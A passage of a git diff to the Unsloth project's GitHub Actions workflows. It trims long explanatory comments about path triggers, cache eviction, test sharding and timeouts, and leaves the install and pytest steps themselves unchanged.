- # edits it cannot observe: the install is --no-torch, so nothing under unsloth/**
- # is importable here, the frontend is built but never served (UNSLOTH_API_ONLY),
- # and src-tauri never enters the picture.
+ # Only what the test boots: backend, installer and CLI. The install is --no-torch and the
+ # frontend is never served.
- 'studio/backend/**'
- 'studio/setup.sh'
- 'studio/install_*.py'
- # install_node_prebuilt.py trusts the archives pinned here (setup.sh:1243).
- 'studio/node_prebuilt_pins.json'
- 'studio/prebuilt_core.py'
- 'studio/install_manifest.py'
- 'unsloth_cli/**'
- 'install.sh'
- 'pyproject.toml'
- # Named, not globbed: the rest of tests/studio is Playwright drivers this
- # workflow never runs.
+ # Named, not globbed: the rest of tests/studio is Playwright drivers.
- 'tests/studio/studio_api_smoke.py'
- # Reached by the installer this workflow already triggers on, so a commit touching
- # only one of these changes what the job runs while matching nothing else in the
- # list. install.sh --local hands off to the checked-out studio/setup.sh
- # (install.sh:7351), setup.sh runs nvidia_probe.py (setup.sh:266), and setup.ps1
- # runs install_python_stack.py and install_llama_prebuilt.py (setup.ps1:8127, 8655).
+ # Reached by the installers this workflow triggers on.
- 'studio/nvidia_probe.py'
- '.github/workflows/studio-api-smoke.yml'
- '.github/scripts/retry-with-apt-lock.sh'
- # Every server boot in this workflow shells out to that script, so an edit
- # to it changes what this workflow actually runs.
- '.github/scripts/boot-studio-api-only.sh'
- # Same for the /api/health wait that runs after a boot.
- '.github/scripts/wait-for-health.sh'
- # And for the GGUF download that primes HF_HOME.
- '.github/scripts/hf-download-with-retry.sh'
- # The install step in this workflow is `uses:` on that composite action,
- # so an edit to the action changes what this workflow actually runs.
+ # The install step in this workflow is `uses:` on that composite action.
- '.github/actions/install-unsloth-local/action.yml'
- # Reached through install-unsloth-local, which uses the dist and uv cache pairs.
- '.github/actions/frontend-dist-restore/action.yml'
- '.github/actions/frontend-dist-save/action.yml'
- '.github/actions/uv-cache-restore/action.yml'
@@ -101,9 +74,7 @@ jobs:
api-smoke:
name: Unsloth API & Auth Tests
runs-on: ubuntu-latest
- # Sized for the apt step's bounded worst case (13m) plus the smoke itself.
- # Raised from 12, where the job budget was smaller than the retries the step
- # authorises, so the job timeout would have fired first and reported nothing.
+ # Sized for the apt step's bounded worst case (13m) plus the smoke.
timeout-minutes: 20
env:
GGUF_REPO: unsloth/gemma-3-270m-it-GGUF
@@ -117,15 +88,8 @@ jobs:
persist-credentials: false
- name: Linux deps
- # Bounded and retried through the shared helper: an unbounded apt step does
- # not fail, it spends the job's whole budget and is reported as "cancelled"
- # with no reason and every later step skipped. update and install go as one
- # unit, since retrying the install after a stalled update re-reads the same
- # broken package list.
- # Two long attempts, not three short ones. 150s killed apt mid-`update`
- # against a mirror that was degraded rather than dead, and every attempt
- # then hit the same wall -- three kills and no result. The bound exists to
- # stop an infinite hang, not to race a slow mirror.
+ # Bounded and retried: a hung apt step is reported as `cancelled` with no reason.
+ # update + install retry as one unit; two long attempts, since slow mirrors are common.
timeout-minutes: 15
env:
RETRY_ATTEMPTS: '2'
@@ -142,17 +106,13 @@ jobs:
with:
python-version: '3.12'
- # Cross-OS shared entry. The tree under `hf-cache` is byte-identical on
- # Linux, macOS and Windows, so the key carries no `runner.os`, and
- # enableCrossOsArchive lets Windows (which tars with --force-local) join it.
+ # Cross-OS key: the hf-cache tree is byte-identical on every OS.
- name: Restore HF_HOME for ${{ env.GGUF_REPO }}
id: cache-hf
uses: actions/cache/restore@55cc8345863c7cc4c66a329aec7e433d2d1c52a9 # v6.1.0
continue-on-error: true
with:
path: hf-cache
- # Shared by every gemma-3-270m-it job in CI (Linux, macOS and
- # Windows alike) so the model is downloaded once, not once per OS.
key: hf-${{ env.GGUF_REPO }}-${{ env.GGUF_VARIANT }}-v3
enableCrossOsArchive: true
@@ -169,19 +129,8 @@ jobs:
bash .github/scripts/hf-download-with-retry.sh ggml-org/models tinyllamas/stories260K.gguf
- name: Save HF_HOME for ${{ env.GGUF_REPO }}
- # Save on main only. Caches created on a PR ref are scoped to that
- # merge ref -- per GitHub's docs they "can only be restored by re-runs
- # of the pull request" -- while every PR *can* restore from the default
- # branch. So a PR-scoped save helps almost nothing and competes for the
- # per-repo cache budget, and when that budget is exceeded GitHub evicts
- # by least-recently-used, which deletes main's copies that all PRs share.
- # This repo's budget is 50 GiB, not GitHub's 10GB default, and it was
- # measured at 49.63 GiB across 258 entries -- 99.3% full, so eviction runs
- # at the margin. 20.74 GiB of that (42%) is the SAME key held on several
- # refs, and every one of those keys already has a copy on main, so the
- # PR-scoped duplicates are redundant by construction. That is the thrash
- # loop: PR misses -> downloads -> saves its own copy -> evicts main's ->
- # next PR misses.
+ # Save on main only: PR-scoped caches only serve that PR and evict main's shared copies
+ # from the near-full repo cache budget.
if: always() && github.ref == 'refs/heads/main' && steps.prime-hf.outcome == 'success' && hashFiles('hf-cache/**/*.gguf') != ''
uses: actions/cache/save@55cc8345863c7cc4c66a329aec7e433d2d1c52a9 # v6.1.0
with:
@@ -209,9 +158,7 @@ jobs:
bash .github/scripts/wait-for-health.sh --port "$STUDIO_PORT"
- name: Pass bootstrap password + rotated targets to the test
- # The test does its own bootstrap-login + rotation to exercise
- # the auth state machine; we just pre-mint two random rotated
- # passwords for it. Mask them so the log is clean.
+ # Pre-mint the rotated passwords the test uses, masked.
run: |
OLD=$(cat ~/.unsloth/studio/auth/.bootstrap_password)
NEW="ApiSmoke-$(python -c 'import secrets; print(secrets.token_urlsafe(16))')"
@@ -224,9 +171,7 @@ jobs:
echo "STUDIO_NEW2_PW=$NEW2" >> "$GITHUB_ENV"
- name: Run Unsloth API & Auth tests
- # The script is named WITHOUT a `test_` prefix so it isn't
- # auto-collected by pytest in Backend CI's `tests/` walk
- # (which doesn't set BASE_URL and would crash at import).
+ # Not named test_*: Backend CI's pytest walk would collect it without BASE_URL.
env:
BASE_URL: http://127.0.0.1:18893
STUDIO_AUTH_DIR: /home/runner/.unsloth/studio/auth
diff --git a/.github/workflows/studio-backend-ci.yml b/.github/workflows/studio-backend-ci.yml
index 73bf269ecaa..37bcc70f739 100644
--- a/.github/workflows/studio-backend-ci.yml
+++ b/.github/workflows/studio-backend-ci.yml
@@ -2,8 +2,6 @@
# Copyright 2026-present the Unsloth AI Inc. team. All rights reserved.
# Runs studio/backend/tests/ except the live-model / live llama.cpp tests.
-#
-# ubuntu-24.04, not ubuntu-latest: far shorter org queue (#10914).
name: Backend CI
@@ -14,8 +12,7 @@ on:
- 'unsloth/**'
- 'unsloth_cli/**'
- 'tests/**'
- # The validate_studio_features.py step below guards docker/jupyter and the
- # docker notebook helpers, so a docker-only change must trigger this CI.
+ # validate_studio_features.py guards docker/jupyter and the docker notebook helpers.
- 'docker/**'
# tests/sh/*.sh and tests/studio/install/* assert against these two files.
- 'install.sh'
@@ -24,19 +21,11 @@ on:
- 'pyproject.toml'
# tests/studio asserts properties of .github/actions/*/action.yml.
- '.github/actions/**'
- # Test inputs, not sources: tests/python/test_docker_publish_tag_scheme.py and
- # test_docker_publish_ref_freeze.py read docker-publish.yml, and
- # tests/test_formatter_fixed_point.py plus the pinned-ruff step read
- # .pre-commit-config.yaml. Editing either changes this job's verdict with no
- # source change, and docker-publish.yml runs only on tags so it cannot self-check.
+ # Test inputs: tests read docker-publish.yml and .pre-commit-config.yaml.
- '.github/workflows/docker-publish.yml'
- '.pre-commit-config.yaml'
- '.github/workflows/studio-backend-ci.yml'
- # Tests this workflow collects read these directly (the kaggle harness tests, the
- # prebuilt-wheel, signing, docker, installer-evidence and WoA tests, the
- # studiobench parity selftests and others). workflow-trigger-lint.yml runs only
- # the tests/studio guard modules and tests/security, so without these a change to
- # one of the files below runs none of the tests that check it.
+ # Tests this workflow collects read these files directly.
- '.github/scripts/**'
- '.github/ci/**'
- '.github/ci-preempt.json'
@@ -74,11 +63,7 @@ on:
- '.github/workflows/docker-publish.yml'
- '.pre-commit-config.yaml'
- '.github/workflows/studio-backend-ci.yml'
- # Tests this workflow collects read these directly (the kaggle harness tests, the
- # prebuilt-wheel, signing, docker, installer-evidence and WoA tests, the
- # studiobench parity selftests and others). workflow-trigger-lint.yml runs only
- # the tests/studio guard modules and tests/security, so without these a change to
- # one of the files below runs none of the tests that check it.
+ # Tests this workflow collects read these files directly.
- '.github/scripts/**'
- '.github/ci/**'
- '.github/ci-preempt.json'
@@ -121,9 +106,8 @@ permissions:
contents: read
env:
- # Oldest supported interpreter; checked statically by scripts/lint_backend_python_floor.py.
- # 3.10 rather than the 3.9 pyproject.toml declares, because 3.9 is not true today:
- # unsloth/models/_utils.py uses dataclasses.dataclass(kw_only) and
+ # Oldest supported interpreter; checked by scripts/lint_backend_python_floor.py.
+ # 3.10 rather than pyproject's 3.9 because the code already needs 3.10.
PYTHON_FLOOR: '3.10'
@@ -202,8 +186,7 @@ jobs:
run: |
bash .github/scripts/retry-with-apt-lock.sh sudo sh -c \
'apt-get install -y --no-install-recommends bubblewrap || { apt-get update && apt-get install -y --no-install-recommends bubblewrap; }'
- # Ubuntu 24.04 restricts user namespaces. Apply the recommended bwrap
- # AppArmor profile without disabling the host restriction.
+ # Ubuntu 24.04 restricts user namespaces; load the bwrap AppArmor profile instead.
if [ "$(cat /proc/sys/kernel/apparmor_restrict_unprivileged_userns 2>/dev/null || echo 0)" = "1" ]; then
bash .github/scripts/retry-with-apt-lock.sh sudo sh -c \
'apt-get install -y --no-install-recommends apparmor-profiles || { apt-get update && apt-get install -y --no-install-recommends apparmor-profiles; }'
@@ -211,7 +194,6 @@ jobs:
[ -f /etc/apparmor.d/bwrap-userns-restrict ] || sudo install -m 644 /usr/share/apparmor/extra-profiles/bwrap-userns-restrict /etc/apparmor.d/ || true
sudo apparmor_parser -r /etc/apparmor.d/bwrap-userns-restrict || true
fi
- # Report unavailable isolation so host-dependent skips are explicit.
if bwrap --ro-bind / / --unshare-user true; then
echo "bubblewrap can build a sandbox on this runner"
else
@@ -221,34 +203,21 @@ jobs:
- name: Install backend test dependencies (CPU only)
run: |
python -m pip install --upgrade pip
- # Unsloth's declared backend deps:
pip install -r studio/backend/requirements/studio.txt
- # Extras that studio.txt does not list but the import chain needs
- # (python-multipart for FastAPI form/file uploads, sqlalchemy/cryptography
- # for the auth DB, yaml/jinja2 for utils.models.model_config, psutil for
- # the orphan-cleanup process scan, etc.):
pip install \
python-multipart aiofiles sqlalchemy cryptography psutil \
pyyaml jinja2 mammoth unpdf requests \
'numpy<3' pytest pytest-asyncio pytest-xdist pytest-timeout httpx \
soundfile librosa
- # soundfile + librosa: test_audio_dataset_decode importorskips both, so without
- # them the no-torchcodec decode path is silently untested here.
+ # soundfile + librosa, or the no-torchcodec decode test silently skips.
pip install --index-url https://download.pytorch.org/whl/cpu --extra-index-url https://pypi.org/simple \
'torch>=2.4,<2.11' 'torchaudio<2.11'
# Tracks pyproject.toml's cap.
pip install 'transformers>=4.51,<=5.17.0'
- # peft: imported at module scope by core/inference/inference.py but listed only in
- # files this job does not install, so without it every importorskip of that module
- # SKIPS and stays green. A stub does not work: transformers probes
- # `importlib.util.find_spec("peft")`, which raises on a stub whose __spec__ is None.
- # After the CPU torch line: peft depends on torch, so earlier it would pull the CUDA wheel into
- # this CPU job. Version read from extras-no-deps.txt (pinned: peft 0.19.0 breaks the export subprocess).
+ # peft is needed or importorskips of core/inference silently skip (a stub breaks find_spec).
+ # Install after CPU torch; version from extras-no-deps.txt.
pip install "$(grep -m1 -E '^peft==' studio/backend/requirements/extras-no-deps.txt)"
- # torchao: the pre-quant allowlist is built by importing the tensor constructors a
- # checkpoint names, and registration refuses unless one resolves, so without it
- # every pre-quant load returns None. CPU-only is fine: it declines its cpp
- # extensions under torch < 2.11 and the pure-Python constructors still import.
+ # torchao: the pre-quant allowlist imports its tensor constructors; CPU-only is fine.
pip install torchao
- name: Collect the bubblewrap install
@@ -291,8 +260,7 @@ jobs:
# The twelve serial files, one process.
if: matrix.scope == 'full' && matrix.shard == 'a-f'
working-directory: studio/backend
- # Relative timing against a reference measured in the same process. Serial, so the
- # comparison is between two implementations rather than between two schedulings.
+ # Relative timing tests run serially in one process.
run: |
python -m pytest -q --tb=short --timeout=330 \
tests/test_streaming_stripper.py \
@@ -328,10 +296,7 @@ jobs:
tests/test_hf_cache_settings.py
- name: Why a failure here might already be fixed on the base branch
- # `if: failure()` so a green job never runs it, and the action itself stays
- # quiet unless the base branch has actually moved since this run's merge ref
- # was built. See .github/actions/merge-ref-age for the three pull requests
- # that were misread this way.
+ # Only on failure; the action reports when the base branch moved since the merge ref.
if: failure() && github.event_name == 'pull_request'
uses: ./.github/actions/merge-ref-age
@@ -344,104 +309,23 @@ jobs:
cache-hit: ${{ steps.pip-cache.outputs.cache-hit }}
repo-cpu-tests:
- # Auto-discovers non-GPU tests; tests/conftest.py mocks torch.cuda.is_available for the import chain.
+ # tests/conftest.py mocks torch.cuda.is_available for the import chain.
name: Repo tests (CPU, ${{ matrix.shard }})
runs-on: ubuntu-24.04
timeout-minutes: 45
strategy:
- # Three shards of one selection, balanced on measured time, not on file count.
- #
- # The balance this replaces was predicted, not observed. It claimed the longest shard
- # was 1.056x an ideal third, from summed test time on a 16-worker box:
- #
- # tests/studio 1035.8s 271 files 35.2%
- # tests/python + tests/kaggle 955.8s 124 files 32.4%
- # everything else 954.4s 180 files 32.4%
- #
- # What the runner actually does is not that. Measured on the pytest step of this job
- # over the last ~48 completed runs of each shard, medians:
- #
- # Repo tests (CPU, studio) 18.6 min (p90 19.1, max 19.9)
- # Repo tests (CPU, rest) 8.8 min
- # Repo tests (CPU, python) 7.5 min
- #
- # so the longest shard is 1.60x an ideal third, not 1.056x, and the job's wall clock
- # is the studio shard alone: 20.9 min against 9.9 and 10.7. Summed time on a
- # 16-worker host does not predict a 4-vCPU runner, which is the only shape that
- # matters here.
- #
- # Within tests/studio the weight is almost all in one directory. Profiled locally at
- # this job's own `-n 4 --dist loadgroup` shape with no GPU visible, tests/studio/install
- # is 658s of the shard's 1125s of CPU-time (58.5%) across 64 files, studiobench 127s,
- # and the 100-odd files directly under tests/studio 341s. Splitting on that boundary is
- # what makes a balance reachable at all: no arrangement of the old three roots gets
- # below 1.4x, because one of them is half the suite.
- #
- # Scaling those proportions onto the measured medians gives the blocks below, in
- # runner-minutes: install 10.9, studiobench 2.1, the rest of tests/studio 5.6,
- # tests/python 5.4, tests/kaggle 2.1, everything else 8.8. Total 34.9, ideal third
- # 11.6, and install alone bounds any three-way split at 10.9.
- #
- # The arrangement below was then RUN, not just predicted, at the same local -n 4
- # CPU-only shape as the numbers above:
- #
- # old shard new shard
- # longest 362.8s (studio) 279.0s (studio-install)
- # middle 208.2s (python) 235.0s (studio)
- # shortest 174.1s (rest) 234.9s (rest)
- # longest / ideal 1.46x 1.12x
- #
- # so the critical path falls 23% locally, and 1.12x matches what the block arithmetic
- # predicted. Same 12 failures before and after, redistributed across the shards, and
- # the id partition was diffed directly: 25762 ids collected either way, none dropped,
- # none doubled.
- #
- # On the runner the imbalance is WORSE than locally (1.60x against 1.46x), because the
- # studio shard is relatively heavier there, so the saving should be at least this
- # large; 18.6 min becoming roughly 13 to 14 is the expectation, not a measurement.
- # Re-measure here rather than trusting that, exactly as the old comment should have
- # been. The shard that lands longest is the one to split next, and 1.12x is close
- # enough that the next move is probably not another rebalance.
- #
- # Why it matters beyond the wall clock: this job's cap is 45 min and its pytest step
- # has been measured from 852s to 1683s across 40 runs, so the spread, not the mean, is
- # what cancels a run. A cancelled job loses the shell, CLI and Docker steps silently
- # (see the note above `timeout-minutes`), and evening the shards takes the worst shard
- # further from the cap rather than raising the cap again.
- #
- # The `rest` shard is still written as "tests/ minus the other roots", never as an
- # allowlist, so a new file lands in exactly one shard without a workflow edit:
- # tests/studio/install and tests/studio/studiobench are shard 1's, tests/python and
- # the rest of tests/studio are shard 2's, and anything else, including tests/kaggle
- # and a brand-new top-level directory, falls to shard 3 by default.
- # tests/test_ci_repo_cpu_shards.py fails if that stops being true, and it derives the
- # partition from this matrix rather than restating it.
- #
- # Shard 1's roots are named UNDER tests/studio, which shards 2 and 3 exclude. That
- # matters: an explicit root and an `--ignore` of its parent in the same selection is
- # ambiguous (the note on the backend matrix above records that `--ignore=FILE` does
- # not filter a file passed as an explicit argument), so the partition is arranged to
- # never need that behaviour.
- #
- # Two check names change with this: "Repo tests (CPU, python)" no longer exists and
- # "Repo tests (CPU, studio-install)" is new. Required status checks have to be updated
- # in the same change or every pull request blocks on a check that cannot run.
- #
- # fail-fast off: three shards of one suite, and cancelling the other two on the first
- # failure would hide which of them were also red.
+ # Three shards balanced on measured runner time. `rest` is "tests/ minus the other roots"
+ # so new files land in exactly one shard (tests/test_ci_repo_cpu_shards.py). Shard 1's
+ # roots are under tests/studio, which shards 2 and 3 exclude. Renaming a shard changes a
+ # check name: update required checks together. fail-fast off to show every red shard.
fail-fast: false
matrix:
include:
- # The heavy half of tests/studio: install, plus studiobench to fill it out. Both
- # are named roots UNDER tests/studio, which the other two shards exclude, so the
- # partition stays expressible without an explicit root fighting an --ignore.
- shard: studio-install
selection: >-
tests/studio/install
tests/studio/studiobench
- # The rest of tests/studio, plus tests/python. Keeps the name `studio` because the
- # hardware-spoof and load_freeze steps below select on it, and those files live
- # directly under tests/studio.
+ # Named `studio`: the spoof and load_freeze steps below select on it.
- shard: studio
selection: >-
tests/studio
@@ -453,8 +337,6 @@ jobs:
--ignore=tests/studio/test_is_mlx_dispatch_gate.py
--ignore=tests/studio/test_xpu_spoof_pipeline.py
--ignore=tests/studio/test_mlx_context_platform_matrix.py
- # The catch-all. tests/kaggle now falls to it by default rather than being named
- # by the shard that no longer exists.
- shard: rest
selection: >-
tests/
@@ -521,22 +403,14 @@ jobs:
python-multipart aiofiles sqlalchemy cryptography psutil \
pyyaml jinja2 mammoth unpdf requests typer \
'numpy<3' pytest pytest-asyncio pytest-xdist pytest-timeout httpx
- # pytest-timeout: the --timeout flag on the pytest step below. Same reason as the
- # backend pytest job -- without it a test that never returns is reported as the
- # job being "cancelled", naming nothing.
+ # pytest-timeout names a hung test instead of a `cancelled` job.
# torchvision: unsloth_zoo.vision_utils imports it at module scope.
pip install --index-url https://download.pytorch.org/whl/cpu --extra-index-url https://pypi.org/simple \
'torch>=2.4,<2.11' 'torchvision<0.26' 'torchaudio<2.11'
- # Tracks pyproject.toml's cap. sentence-transformers rides the transformers pin rather than a separate install, so
- # resolving it cannot bump transformers past the ceiling. It is an extra, not a core
- # dependency, and tests/test_st_modules_json_trust_gate.py skips without it, so
- # installing it here is what makes that gate run in this shard instead of skipping.
- # version-compat-ci's zoo-imports job runs the same file against the pinned
- # transformers matrix; this shard adds the core dependency set, where discovery
- # picks the file up and the importorskip would otherwise skip it for good.
+ # sentence-transformers rides the transformers pin so it cannot raise the ceiling, and
+ # makes tests/test_st_modules_json_trust_gate.py run instead of skip.
pip install 'transformers>=4.51,<=5.17.0' sentence-transformers
- # bitsandbytes: hard import in unsloth/models/_utils.py. Recent
- # versions ship a CPU build that imports cleanly on Linux.
+ # bitsandbytes: hard import in unsloth/models/_utils.py; recent versions import on CPU.
pip install 'bitsandbytes>=0.45'
# zoo from git main (needed by the conftest preload), with deps so triton is installed.
for attempt in 1 2 3; do
@@ -563,22 +437,15 @@ jobs:
env:
# tests/python/* import install_python_stack from studio/.
PYTHONPATH: ${{ github.workspace }}/studio
- # Skip lazy compilation work the unsloth import chain wants to
- # do at import time on a real GPU.
UNSLOTH_COMPILE_DISABLE: '1'
- # --ignore: GPU-bound dirs, tests/sh, tests/utils, and the version-compat canaries (own workflow).
- # Spoofing and load_freeze files run isolated in later steps.
- #
- # The pytest steps below stay serial: hardware-spoof files mutate module globals.
- #
- # Timeouts mirror the backend pytest job; the outer one must fire before the job cap.
+ # Spoofing and load_freeze files run isolated below: hardware-spoof files mutate module
+ # globals. The outer timeout must fire before the job cap.
run: |
timeout --signal=INT --kill-after=60 2100 \
python -m pytest ${{ matrix.selection }} -q -rs --tb=short -n 4 --dist loadgroup --timeout=330 \
-m 'not server and not e2e'
- name: Hardware-spoof tests (state-sensitive, run in isolation)
- # The four spoof files live under tests/studio, so they belong to that shard.
if: matrix.shard == 'studio'
env:
PYTHONPATH: ${{ github.workspace }}/studio
@@ -591,8 +458,6 @@ jobs:
tests/studio/test_mlx_context_platform_matrix.py
- name: Event-loop latency tests (wall clock, run without CPU contention)
- # tests/studio/load_freeze, so the studio shard, and it still runs alone in its own
- # invocation: two shards on two runners do not contend with each other.
if: matrix.shard == 'studio'
env:
PYTHONPATH: ${{ github.workspace }}/studio
@@ -601,30 +466,18 @@ jobs:
run: python -m pytest tests/studio/load_freeze -q --tb=short
- name: CLI tests (unsloth_cli)
- # Not under tests/, so no shard owns it by discovery; it rides the shortest shard,
- # which after the rebalance above is `rest` at a projected 10.9 runner-minutes. It
- # was on `python`, which no longer exists.
+ # Not under tests/, so no shard discovers it; it rides `rest`.
if: matrix.shard == 'rest'
- # unsloth_cli/tests had no CI at all: `unsloth_cli/**` was only a paths
- # trigger and a ruff target, so 673 tests covering the studio launcher,
- # the pre-exposure gate and the auth secret writers ran nowhere, and
- # four of them had been failing on main unnoticed.
- # Own step, not folded into the tests/ discovery above: pyproject's
- # testpaths is tests/, and this suite needs no PYTHONPATH or CUDA spoof
- # (it self-bootstraps sys.path and imports neither unsloth nor torch).
+ # Own step: pyproject's testpaths is tests/, and this suite self-bootstraps sys.path.
run: python -m pytest unsloth_cli/tests -q --tb=short
- name: Docker JupyterLab/notebook feature validation
- # Named validate_studio_features.py (not test_*.py) so pytest skips it;
- # run explicitly so notebook/Colab/branding regressions fail CI.
+ # Not test_*.py so pytest skips it; run explicitly.
if: matrix.shard == 'rest'
run: python tests/validate_studio_features.py
- name: Why a failure here might already be fixed on the base branch
- # `if: failure()` so a green job never runs it, and the action itself stays
- # quiet unless the base branch has actually moved since this run's merge ref
- # was built. See .github/actions/merge-ref-age for the three pull requests
- # that were misread this way.
+ # Only on failure; the action reports when the base branch moved since the merge ref.
if: failure() && github.event_name == 'pull_request'
uses: ./.github/actions/merge-ref-age
@@ -637,10 +490,8 @@ jobs:
cache-hit: ${{ steps.pip-cache.outputs.cache-hit }}
shell-installer-tests:
- # Hermetic bash suites in their own job, off the Python install's critical path (#10849, #10861).
name: Shell installer tests
runs-on: ubuntu-24.04
- # 165s measured, and a hung mock would otherwise sit here until the workflow's own limit.
timeout-minutes: 15
steps:
- uses: actions/checkout@3d3c42e5aac5ba805825da76410c181273ba90b1 # v7.0.1
@@ -652,10 +503,8 @@ jobs:
python-version: '3.12'
- name: Shell installer tests
- # Auto-discovered; tests/studio/test_ci_shell_suite_coverage.py guards discovery and skip reasons.
- #
- # Skipped:
- # test_install_rollback_lifecycle.sh: covered by cross-platform-parity-ci.yml.
+ # Auto-discovered; tests/studio/test_ci_shell_suite_coverage.py guards discovery and skips.
+ # Skipped: test_install_rollback_lifecycle.sh (covered by cross-platform-parity-ci.yml).
run: |
set -euo pipefail
shopt -s nullglob
diff --git a/.github/workflows/studio-composer-compatibility.yml b/.github/workflows/studio-composer-compatibility.yml
index 70e97032eaa..e4a58987bb4 100644
--- a/.github/workflows/studio-composer-compatibility.yml
+++ b/.github/workflows/studio-composer-compatibility.yml
@@ -6,15 +6,8 @@ name: Composer compatibility
on:
pull_request:
paths:
- # The smoke pages (smoke-composer-settings, smoke-prompt-queue-actions) are served
- # by vite from this ref, and their static import graph reaches about 855 files
- # across studio/frontend/src, 483 of them outside the directories this list used
- # to name (features/settings, lib, components, hooks and more). An edit to any of
- # them changes what the pages load and assert, so the whole source tree is listed.
- # npm ci reads .npmrc and the build reads the tsconfig files. src/** keeps
- # src/i18n: playwright_queue_localization.py drives the queue surface in ja and
- # asserts the shipped Japanese, so a translation-only edit is exactly the change
- # that can break it, and this workflow is its only invocation.
+ # The smoke pages' import graph reaches most of src/, including src/i18n which the
+ # localization driver asserts, so the whole source tree is listed.
- 'studio/frontend/src/**'
- 'studio/frontend/.npmrc'
- 'studio/frontend/tsconfig*.json'
@@ -24,16 +17,11 @@ on:
- 'studio/frontend/vite.config.ts'
- 'tests/studio/*composer*'
- 'tests/studio/*prompt_queue*'
- # `*` does not cross a `/` and matches literally otherwise, so neither pattern above
- # reaches playwright_queue_localization.py: it carries no "prompt_queue". Without this
- # line a PR that changes only the driver never runs the driver.
+ # `*` does not cross `/`, so the patterns above miss playwright_queue_localization.py.
- 'tests/studio/*queue_localization*'
- 'tests/studio/_playwright_robust.py'
- # Both drivers find their controls through this reader, so a change to it is a change to them.
- 'tests/studio/_en_catalog.py'
- '.github/workflows/studio-composer-compatibility.yml'
- # The first gating step runs this auditor, so an edit to it changes what this
- # workflow runs.
- 'scripts/lockfile_supply_chain_audit.py'
- '.github/scripts/retry-with-apt-lock.sh'
workflow_dispatch:
@@ -86,9 +74,7 @@ jobs:
run: npm ci --ignore-scripts --no-fund --no-audit
- name: Create isolated test environment
run: |
- # Branded Chrome and Edge put a unix socket in TMPDIR and abort when its path passes
- # 107 bytes. Under the checkout that path grows with the repository name, so a fork
- # with a longer name failed every chrome and msedge leg; RUNNER_TEMP is short everywhere.
+ # Chrome/Edge abort when their TMPDIR socket path exceeds 107 bytes; RUNNER_TEMP is short.
mkdir -p "$RUNNER_TEMP/qv"
echo "TMPDIR=$RUNNER_TEMP/qv" >> "$GITHUB_ENV"
echo "TMP=$RUNNER_TEMP/qv" >> "$GITHUB_ENV"
@@ -137,20 +123,8 @@ jobs:
run: |
mkdir -p temp/queue-validation/compatibility
status=0
- # One retry per driver, per browser, and one only. Three drivers across five
- # engines on three operating systems is enough surface that a hosted runner
- # drops a dynamically imported module or closes a browser target often enough
- # to fail somebody else's pull request: seen as "error loading dynamically
- # imported module .../use-prompt-queue-reorder.ts" on firefox and
- # "TargetClosedError: Target page, context or browser has been closed" on
- # webkit, in both cases with every assertion in the driver already reported
- # PASS. A real regression fails both attempts, so the gate is kept and a
- # transient costs one rerun of one driver rather than a red leg.
- #
- # The command is passed through rather than named inside, so the workflow
- # still spells `python tests/studio/<driver>.py` where
- # tests/studio/test_playwright_suites_run_in_ci.py looks for it. Both
- # attempts land in the same log, which is uploaded as the artifact.
+ # One retry per driver per browser for hosted-runner flakes; a real regression fails both.
+ # The command is passed through so test_playwright_suites_run_in_ci.py finds it.
run_driver() {
log="$1"
shift
@@ -178,14 +152,6 @@ jobs:
python tests/studio/playwright_prompt_queue_actions.py || status=1
run_driver "temp/queue-validation/compatibility/$browser-composer.log" \
python tests/studio/playwright_composer_settings.py || status=1
- # Added by #11117 and left unrun until now, which
- # tests/studio/test_playwright_suites_run_in_ci.py failed on. It belongs in this
- # loop rather than a job of its own: it drives the same
- # /smoke-prompt-queue-actions.html fixture as the queue suite above, and what it
- # asserts -- IME composition, Escape-during-composition and the send-shortcut
- # chord in the queued-prompt editor -- is exactly the per-engine behaviour this
- # matrix exists for. Verified green on chromium 153, firefox 155 and webkit 26.6
- # before being wired in, so this adds coverage and not a new red.
run_driver "temp/queue-validation/compatibility/$browser-queue-localization.log" \
python tests/studio/playwright_queue_localization.py || status=1
run_driver "temp/queue-validation/compatibility/$browser-deferred-prompt.log" \
diff --git a/.github/workflows/studio-export-capability-ci.yml b/.github/workflows/studio-export-capability-ci.yml
index af8f29da3e2..96506aaaee0 100644
--- a/.github/workflows/studio-export-capability-ci.yml
+++ b/.github/workflows/studio-export-capability-ci.yml
@@ -1,9 +1,7 @@
# SPDX-License-Identifier: AGPL-3.0-only
# Copyright 2026-present the Unsloth AI Inc. team. All rights reserved.
-# export_capability() is per-OS (is_apple_silicon() and the PyTorch-import probe differ per
-# platform) and the export backend must import without PyTorch, so this confirms the gating
-# and import-safety off Linux. A real accelerator export is validated separately.
+# export_capability() is per-OS and the export backend must import without PyTorch.
name: Unsloth export capability
@@ -17,20 +15,13 @@ on:
- 'studio/backend/routes/export.py'
- 'studio/backend/main.py'
- 'studio/backend/tests/test_export_capability.py'
- # The install below is `uses:` on these two, so an edit to either changes what
- # this workflow actually runs. Absent while the push trigger was unfiltered,
- # every commit re-ran this after merge and the gap could not be observed;
- # scoping push is what turns it into a real hole.
+ # The install below is `uses:` on these two actions.
- '.github/actions/pip-cache-restore/action.yml'
- '.github/actions/pip-cache-save/action.yml'
- 'studio/backend/utils/hardware/**'
- '.github/workflows/studio-export-capability-ci.yml'
- # The test imports core.export.export under pytest in studio/backend, so
- # collection loads studio/backend/tests/conftest.py (which execs
- # tests/_shared/compile_cache_isolation.py and imports loggers) and the pytest
- # config in pyproject.toml, and export.py imports these packages at module scope.
- # A new top-level torch import in any of them is what this Windows lane exists to
- # catch.
+ # export.py imports these at module scope; a new top-level torch import is what this
+ # Windows lane catches.
- 'studio/backend/tests/conftest.py'
- 'tests/_shared/compile_cache_isolation.py'
- 'studio/backend/loggers/**'
@@ -55,12 +46,8 @@ on:
- '.github/actions/pip-cache-save/action.yml'
- 'studio/backend/utils/hardware/**'
- '.github/workflows/studio-export-capability-ci.yml'
- # The test imports core.export.export under pytest in studio/backend, so
- # collection loads studio/backend/tests/conftest.py (which execs
- # tests/_shared/compile_cache_isolation.py and imports loggers) and the pytest
- # config in pyproject.toml, and export.py imports these packages at module scope.
- # A new top-level torch import in any of them is what this Windows lane exists to
- # catch.
+ # export.py imports these at module scope; a new top-level torch import is what this
+ # Windows lane catches.
- 'studio/backend/tests/conftest.py'
- 'tests/_shared/compile_cache_isolation.py'
- 'studio/backend/loggers/**'
@@ -93,22 +80,18 @@ jobs:
strategy:
fail-fast: false
matrix:
- # Windows only: tests are fully monkeypatched, and studio-backend-ci.yml already runs them on Linux.
+ # Windows only: studio-backend-ci.yml already runs these tests on Linux.
os: [windows-latest]
runs-on: ${{ matrix.os }}
timeout-minutes: 20
env:
